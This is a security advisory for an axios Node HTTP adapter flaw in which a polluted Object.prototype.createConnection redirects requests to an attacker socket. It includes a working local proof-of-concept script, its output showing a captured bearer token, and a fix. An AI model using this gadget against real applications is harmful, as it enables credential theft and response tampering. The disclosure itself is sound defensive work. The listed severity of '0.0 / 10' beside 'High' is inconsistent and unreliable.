Skip to content

GHSA-m8m8-qj5v-23w3 CVE-2026-101905

Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.42%
Chance of exploitation in the next 30 days. Higher than 36.13% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')
Fix
1.20.0
Upgrade axios to this version or later

Description

Summary

Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.

Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.

Impact

Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.

This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.

Affected Functionality

Affected:

  • Node.js HTTP adapter.
  • HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe createConnection.
  • Processes where Object.prototype.createConnection is polluted.

Not affected:

  • Browser adapters.
  • Processes without prototype pollution.
  • Requests using a custom trusted transport that ignores inherited createConnection and sanitizes options internally.

Technical Details

lib/adapters/http.js creates:

const options = Object.assign(Object.create(null), {
  path,
  method,
  headers,
  agents: { http: httpAgent, https: httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.createConnection = function (_options, cb) {
  const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
    if (typeof cb === 'function') cb(null, socket);
  });
  return socket;
};

await axios.get('http://127.0.0.1:<legit-port>/secret', {
  headers: { Authorization: 'Bearer SECRET' },
  proxy: false
});

Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.

Workarounds

Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.

<details> <summary><h3>Original report</h3></summary>

Summary

Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.

When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.

This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.

Impact

Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:

  • redirect the underlying socket for axios requests to attacker-controlled infrastructure
  • receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials
  • return attacker-controlled responses to the caller
  • bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere

The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.

Technical details

The HTTP adapter constructs a null-prototype request options object before calling the selected transport:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.

createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.

Reproduction

The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.

import net from 'node:net';
import http from 'node:http';
import axios from 'axios';

function listen(handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(0, '127.0.0.1', () => resolve(s));
  });
}

const legitHits = [];
const attackerHits = [];

const legit = await listen((req, res) => {
  legitHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('LEGIT');
});

const attacker = await listen((req, res) => {
  attackerHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('ATTACKER');
});

Object.prototype.createConnection = function(options, cb) {
  const sock = net.createConnection({
    host: '127.0.0.1',
    port: attacker.address().port,
  }, () => {
    if (typeof cb === 'function') cb(null, sock);
  });
  return sock;
};

const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
  headers: {Authorization: 'Bearer SECRET'},
  proxy: false,
});

console.log({
  response: res.data,
  legitHits,
  attackerHits,
});

Observed result on the current npm package:

{
  "response": "ATTACKER",
  "legitHits": [],
  "attackerHits": [
    {
      "url": "/secret",
      "auth": "Bearer SECRET"
    }
  ]
}

The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.

Versions tested

I reproduced this against:

  • axios 1.16.1 from npm
  • axios 1.17.0 from npm
  • current v1.x source at commit a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b

Fix validation

Adding an own safe value for createConnection to the adapter options object prevents inherited pollution from being observed after Node's option copy:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
  createConnection: undefined,
});

With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.

Remediation

Set own safe defaults for sensitive Node HTTP request options before calling transport.request, at minimum:

createConnection: undefined

I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as lookup, timeout, localAddress, servername, signal, and related options.

</details>


Affected versions

npm

PackageVulnerableFixed in
axios
>= 1.15.2, < 1.20.0
1.20.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

axios npm → 1.20.0

npm
npm install axios@1.20.0
yarn
yarn add axios@1.20.0
pnpm
pnpm add axios@1.20.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

How to prevent it
  • Implementation: By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
  • Architecture and Design: By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
  • Implementation: When handling untrusted objects, validating using a schema can be used.
  • Implementation: By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
  • Implementation: Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

How to prevent it
  • Architecture and Design: Enforce the use of strong mutual authentication mechanism between the two parties.
  • Architecture and Design: Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-44g4-m2mj-wpvx
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
Medium Also affects axios
GHSA-x97p-jq2g-jp4f
Axios: Prototype Pollution Gadget in axios toFormData Options
High Also affects axios
GHSA-vh66-26gq-q6x8
Axios: Prototype pollution gadget in fetch adapter can alter outbound requests
Medium Also affects axios
GHSA-r4gj-5m52-g5wh
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
High Also affects axios
GHSA-mghh-pgcx-3jjj
Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
High Also affects axios
GHSA-j8rh-479h-cp32
Axios: Header Injection via Inherited headers After Minimal Interceptor
Medium Also affects axios
GHSA-c29m-xwm3-cm6r
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
High Also affects axios
GHSA-9fr6-4gfg-395g
Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method
Medium Also affects axios
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor